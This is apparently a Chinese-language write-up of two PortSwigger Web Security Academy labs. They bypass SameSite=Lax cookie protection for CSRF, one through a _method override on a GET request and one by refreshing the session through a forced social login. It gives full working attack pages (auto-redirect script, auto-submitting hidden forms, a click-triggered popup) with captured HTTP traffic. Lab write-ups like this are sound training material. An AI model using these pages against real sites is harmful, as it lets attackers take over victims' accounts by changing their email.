CSRF bypass SameSite Lax

SameSite=Lax 表示瀏覽器只在以下2種情況才會在跨網站請求中傳送 cookie ,而且大部份瀏覽器默認此設定。

  • 請求使用該GET方法。
  • 該請求是由用戶的頂級導航產生的,例如點擊連結。


利用請求方法饒過

目標cookieSameSite Lax,攻擊者想用CSRF改對方email

原本EMAIL的請求使用POST如下,但因為SameSite=Lax所以無法帶受害者cookie,使CSRF攻擊無效

############## request ############## 
POST /my-account/change-email HTTP/1.1
Host: 0a3400d2043c89a2872ccbed006100e0.web-security-academy.net
Cookie: session=f9FHp5tKDaoMKgHWY6ouxPPDV3DVrXFA
...omit...
email=wiener3%40normal-user.net

############## response ############## 
HTTP/1.1 302 Found
Location: /my-account
Connection: close
Content-Length: 0

但如果改為GET請求,SameSite=Lax可帶受害者cookie,使CSRF攻擊有效

因此將請求改成GET如下,但發現目標服務器不允許

############## request ############## 
GET /my-account/change-email?email=wiener3%40normal-user.net HTTP/1.1
Host: 0a3400d2043c89a2872ccbed006100e0.web-security-academy.net
Cookie: session=f9FHp5tKDaoMKgHWY6ouxPPDV3DVrXFA
...omit...


############## response ############## 
HTTP/1.1 405 Method Not Allowed
Allow: POST
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 20
	
"Method Not Allowed"

但目標服務有支持_method方法,用此方法發送GET請求服務器可接受

############## request ############## 
GET /my-account/change-email?email=wiener3%40normal-user.net&_method=POST HTTP/1.1
Host: 0a3400d2043c89a2872ccbed006100e0.web-security-academy.net
Cookie: session=f9FHp5tKDaoMKgHWY6ouxPPDV3DVrXFA
...omit...


############## response ############## 
HTTP/1.1 302 Found
Location: /my-account
Connection: close
Content-Length: 0

準備以下攻擊頁面讓訪客自己修改EMAIL

<script>
    document.location = "https://0a3400d2043c89a2872ccbed006100e0.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

當使用者訪問以上攻擊頁面,就會產生以下請求,將EMAIL修改為pwned@web-security-academy.net

############## request ############## 
GET /my-account/change-email?email=pwned@web-security-academy.net&_method=POST HTTP/2
Host: 0a3400d2043c89a2872ccbed006100e0.web-security-academy.net
Cookie: session=f9FHp5tKDaoMKgHWY6ouxPPDV3DVrXFA
...omit...

############## response ############## 
HTTP/2 302 Found
Location: /my-account?id=wiener
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Lab: SameSite Lax bypass via method override


利用刷新cookie饒過

如果網站SameSite在設定 Cookie 時不包含屬性,Chrome 預設會自動套用Lax限制。但是,為了避免破壞SSO(單一登入機制),它實際上不會在前 120 秒內對POST請求強制執行這些限制,因此這提供了一些攻擊的機會,舉例如下。

該目標用POST發送change-email請求更改email,因此可透過CSRF改對方email,方法如下

建立CSRF攻擊頁面

準備攻擊頁如下

<script>
    history.pushState('', '', '/')
</script>
<form action="https://0a21000d03af9f60c8758a0d00d3000d.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="foo@bar.com" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.forms[0].submit();
</script>

受害者如果登入後小於2分鐘訪問攻擊網頁,則發出的change-email請求會帶cookie如下,而且email成功修改

############### request ############### 
POST /my-account/change-email HTTP/1.1
Host: 0a21000d03af9f60c8758a0d00d3000d.web-security-academy.net
Cookie: session=5UYyNW79TLrNT3B4HL4HwQPQAyJcHV1p
...omit...
email=foo%40bar.com

############### response ############### 
location:/my-account?id=wiener

但是如果是在登入2分鐘後才訪問攻擊網頁,則change-email請求不會帶cookie,而且會被重導到social-login透過OAuth流程登入,email也不會成功修改

############### request ############### 
POST /my-account/change-email HTTP/1.1
Host: 0a2d008f0455d839c219d68f00230035.web-security-academy.net
...omit...
email=foo%40bar.com

############### response ############### 
HTTP/1.1 302 Found
Location: /social-login
Set-Cookie: session=YEYy6T1SoOpt79pc3D2zruZRP11OdNPh; Expires=Tue, 31 Jan 2023 06:06:19 UTC; Secure; HttpOnly

克服2分鐘限制

為了解決登入2分鐘後攻擊無法攻擊成功問題,將攻擊流程做調整

新的語法會強制訪問social-login,讓cookie刷新變成剛登入的樣子,這樣就能產生小於2分鐘登入的情境,因此更改攻擊頁面如下

<form method="POST" action="https://0a21000d03af9f60c8758a0d00d3000d.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned2@web-security-academy.net">
</form>
<script>
    window.open('https://0a21000d03af9f60c8758a0d00d3000d.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);

    function changeEmail(){
        document.forms[0].submit();
    }
</script>

實測2分鐘後訪問攻擊網頁,發現請求被瀏覽器的彈出窗口阻止,但過一陣子後,CSRF繼續執行,但送出的change-email請求不會帶cookie,而且會被重導到social-login,email也不會成功修改

############### request ############### 
POST /my-account/change-email HTTP/2
Host: 0a21000d03af9f60c8758a0d00d3000d.web-security-academy.net
...omit...
email=pwned%40web-security-academy.net

############### response ############### 
HTTP/2 302 Found
Location: /social-login
Set-Cookie: session=yYMU9cFxTfE59g8wsCqXv1YPxCj1N0vZ; Expires=Sat, 24 Feb 2024 03:27:51 UTC; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 0

克服彈窗限制

彈出視窗限制是因為尚未手動與該頁面互動,所以調整該攻擊語法,誘導受害者單擊頁面,並且僅在用戶單擊後才打開彈出視窗,因此更改攻擊頁面如下

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
        setTimeout(changeEmail, 10000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

實測2分鐘後訪問攻擊網頁,會出現提示信息點擊該網頁,接著觸發OAuth流程發送的新的cookie


GET /social-login HTTP/1.1
Host: 0a21000d03af9f60c8758a0d00d3000d.web-security-academy.net
Cookie: session=IQlZqVbqoEtJIOQ0Tfh10ZOn5eVqDOMN
...omit...
############### request ############### 
GET /auth?client_id=jhlo4bf3lvvd3c6owf9wo&redirect_uri=https://0a2d008f0455d839c219d68f00230035.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0ae900e704a4d8edc22ad4bc02470026.web-security-academy.net
Cookie: _session=yTvnUxefeHYN-i7GLGQ2Y; _session.legacy=yTvnUxefeHYN-i7GLGQ2Y
...omit...

############### response ############### 
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://0a2d008f0455d839c219d68f00230035.web-security-academy.net/oauth-callback?code=v1xtBTdlX7tZYDgrSpsLHRtU4_Zuzf_qhZ21lrlStvV
Content-Type: text/html; charset=utf-8
Set-Cookie: _session=yTvnUxefeHYN-i7GLGQ2Y; path=/; expires=Mon, 13 Feb 2023 05:52:56 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=yTvnUxefeHYN-i7GLGQ2Y; path=/; expires=Mon, 13 Feb 2023 05:52:56 GMT; secure; httponly
...omit...
############### request ############### 
GET /oauth-callback?code=v1xtBTdlX7tZYDgrSpsLHRtU4_Zuzf_qhZ21lrlStvV HTTP/1.1
Host: 0a21000d03af9f60c8758a0d00d3000d.web-security-academy.net
Cookie: session=IQlZqVbqoEtJIOQ0Tfh10ZOn5eVqDOMN
...omit...

############### response ############### 
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=gRyBLMDDDPEo2nEVN0pGMM2DIbX08nWs; Expires=Tue, 31 Jan 2023 05:53:00 UTC; Secure; HttpOnly
...omit...

接著發送帶有cookie的change-email請求,確認email成功修改

############### request ############### 
POST /my-account/change-email HTTP/1.1
Host: 0a21000d03af9f60c8758a0d00d3000d.web-security-academy.net
Cookie: session=gRyBLMDDDPEo2nEVN0pGMM2DIbX08nWs

...omit...
email=pwned%40portswigger.net

############### response ############### 
location:/my-account?id=wiener

Lab: SameSite Lax bypass via cookie refresh